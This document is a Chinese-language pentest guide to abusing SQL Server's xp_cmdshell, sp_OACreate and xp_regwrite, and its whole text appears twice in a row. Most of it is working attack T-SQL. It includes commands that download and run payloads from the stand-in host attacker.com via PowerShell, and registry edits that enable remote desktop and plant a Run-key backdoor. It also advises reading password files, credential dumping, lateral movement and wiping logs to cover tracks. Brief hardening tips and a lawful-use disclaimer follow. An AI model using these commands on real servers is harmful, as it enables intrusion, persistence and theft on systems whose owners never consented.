在渗透测试中,利用 SQL Server 的存储过程如 xp_cmdshell、sp_OACreate 和 xp_regwrite 可以帮助测试数据库的安全配置和权限控制。以下是它们在常见渗透测试场景中的具体应用:
---
1. xp_cmdshell
场景:远程命令执行
渗透测试中,xp_cmdshell 可以用来在数据库服务器上执行系统命令,从而获取权限或进行横向移动。
利用示例:
枚举系统信息:
EXEC xp_cmdshell 'systeminfo';
EXEC xp_cmdshell 'whoami';
下载恶意工具或脚本:
EXEC xp_cmdshell 'powershell -Command "Invoke-WebRequest -Uri http://attacker.com/malware.exe -OutFile C:\malware.exe"';
启动后门工具:
EXEC xp_cmdshell 'C:\malware.exe';
文件操作(读取敏感文件):
EXEC xp_cmdshell 'type C:\Sensitive\passwords.txt';
渗透目的:
验证数据库用户是否具有操作系统级别的权限。
检查数据库服务器是否存在对危险命令的滥用。
---
2. sp_OACreate
场景:文件系统操作与代码执行
sp_OACreate 是一种强大的工具,允许 SQL Server 通过 COM 对象调用操作系统功能。渗透测试中可用于文件操作、恶意脚本执行等。
利用示例:
创建文件并写入内容:
DECLARE @Object int;
EXEC sp_OACreate 'Scripting.FileSystemObject', @Object OUT;
EXEC sp_OAMethod @Object, 'CreateTextFile', NULL, 'C:\test.txt', True;
EXEC sp_OAMethod @Object, 'WriteLine', NULL, 'This is a test.';
EXEC sp_OADestroy @Object;
执行恶意脚本:
DECLARE @Object int;
EXEC sp_OACreate 'WScript.Shell', @Object OUT;
EXEC sp_OAMethod @Object, 'Run', NULL, 'powershell.exe -c "IEX (New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"';
EXEC sp_OADestroy @Object;
读取远程资源: 使用 COM 对象访问网络共享或 URL,从目标服务器读取数据。
渗透目的:
评估数据库服务器是否允许 COM 对象调用。
检查是否存在危险配置导致的文件或脚本执行风险。
---
3. xp_regwrite
场景:注册表持久化与后门设置
xp_regwrite 可用于修改 Windows 注册表,以实现权限维持或改变系统行为。
利用示例:
开启远程桌面(更改注册表值):
EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections', 'REG_DWORD', 0;
配合以下命令启动远程桌面服务:
EXEC xp_cmdshell 'net start TermService';
添加启动项后门:
EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run', 'MaliciousBackdoor', 'REG_SZ', 'C:\malware.exe';
渗透目的:
检查数据库是否具有修改系统关键注册表的能力。
模拟攻击者对注册表的滥用,评估系统的持久化风险。
---
渗透测试常用思路
1. 探测功能是否启用:
默认情况下,xp_cmdshell 和 sp_OACreate 是禁用的。通过尝试调用或查看配置检测这些功能是否被错误启用。
EXEC sp_configure 'xp_cmdshell';
EXEC sp_configure 'Ole Automation Procedures';
2. 提权与横向移动:
使用 xp_cmdshell 枚举本地用户、抓取凭据。
执行网络命令(如 net use、wmic)访问其他机器。
3. 权限验证:
测试当前数据库用户是否有足够权限使用这些存储过程。
SELECT IS_SRVROLEMEMBER('sysadmin');
4. 记录日志清理:
攻击后通过删除 SQL 日志、Windows 日志等掩盖踪迹。
---
防御建议
1. 禁用不必要的存储过程:
EXEC sp_configure 'xp_cmdshell', 0;
EXEC sp_configure 'Ole Automation Procedures', 0;
2. 实施最小权限原则,限制数据库用户权限。
3. 使用防火墙和网络分段隔离数据库服务器。
4. 监控日志,及时检测异常行为。
这些场景仅适用于合法授权的渗透测试,切勿用于非法活动!
---
1. xp_cmdshell
场景:远程命令执行
渗透测试中,xp_cmdshell 可以用来在数据库服务器上执行系统命令,从而获取权限或进行横向移动。
利用示例:
枚举系统信息:
EXEC xp_cmdshell 'systeminfo';
EXEC xp_cmdshell 'whoami';
下载恶意工具或脚本:
EXEC xp_cmdshell 'powershell -Command "Invoke-WebRequest -Uri http://attacker.com/malware.exe -OutFile C:\malware.exe"';
启动后门工具:
EXEC xp_cmdshell 'C:\malware.exe';
文件操作(读取敏感文件):
EXEC xp_cmdshell 'type C:\Sensitive\passwords.txt';
渗透目的:
验证数据库用户是否具有操作系统级别的权限。
检查数据库服务器是否存在对危险命令的滥用。
---
2. sp_OACreate
场景:文件系统操作与代码执行
sp_OACreate 是一种强大的工具,允许 SQL Server 通过 COM 对象调用操作系统功能。渗透测试中可用于文件操作、恶意脚本执行等。
利用示例:
创建文件并写入内容:
DECLARE @Object int;
EXEC sp_OACreate 'Scripting.FileSystemObject', @Object OUT;
EXEC sp_OAMethod @Object, 'CreateTextFile', NULL, 'C:\test.txt', True;
EXEC sp_OAMethod @Object, 'WriteLine', NULL, 'This is a test.';
EXEC sp_OADestroy @Object;
执行恶意脚本:
DECLARE @Object int;
EXEC sp_OACreate 'WScript.Shell', @Object OUT;
EXEC sp_OAMethod @Object, 'Run', NULL, 'powershell.exe -c "IEX (New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"';
EXEC sp_OADestroy @Object;
读取远程资源: 使用 COM 对象访问网络共享或 URL,从目标服务器读取数据。
渗透目的:
评估数据库服务器是否允许 COM 对象调用。
检查是否存在危险配置导致的文件或脚本执行风险。
---
3. xp_regwrite
场景:注册表持久化与后门设置
xp_regwrite 可用于修改 Windows 注册表,以实现权限维持或改变系统行为。
利用示例:
开启远程桌面(更改注册表值):
EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections', 'REG_DWORD', 0;
配合以下命令启动远程桌面服务:
EXEC xp_cmdshell 'net start TermService';
添加启动项后门:
EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run', 'MaliciousBackdoor', 'REG_SZ', 'C:\malware.exe';
渗透目的:
检查数据库是否具有修改系统关键注册表的能力。
模拟攻击者对注册表的滥用,评估系统的持久化风险。
---
渗透测试常用思路
1. 探测功能是否启用:
默认情况下,xp_cmdshell 和 sp_OACreate 是禁用的。通过尝试调用或查看配置检测这些功能是否被错误启用。
EXEC sp_configure 'xp_cmdshell';
EXEC sp_configure 'Ole Automation Procedures';
2. 提权与横向移动:
使用 xp_cmdshell 枚举本地用户、抓取凭据。
执行网络命令(如 net use、wmic)访问其他机器。
3. 权限验证:
测试当前数据库用户是否有足够权限使用这些存储过程。
SELECT IS_SRVROLEMEMBER('sysadmin');
4. 记录日志清理:
攻击后通过删除 SQL 日志、Windows 日志等掩盖踪迹。
---
防御建议
1. 禁用不必要的存储过程:
EXEC sp_configure 'xp_cmdshell', 0;
EXEC sp_configure 'Ole Automation Procedures', 0;
2. 实施最小权限原则,限制数据库用户权限。
3. 使用防火墙和网络分段隔离数据库服务器。
4. 监控日志,及时检测异常行为。
这些场景仅适用于合法授权的渗透测试,切勿用于非法活动!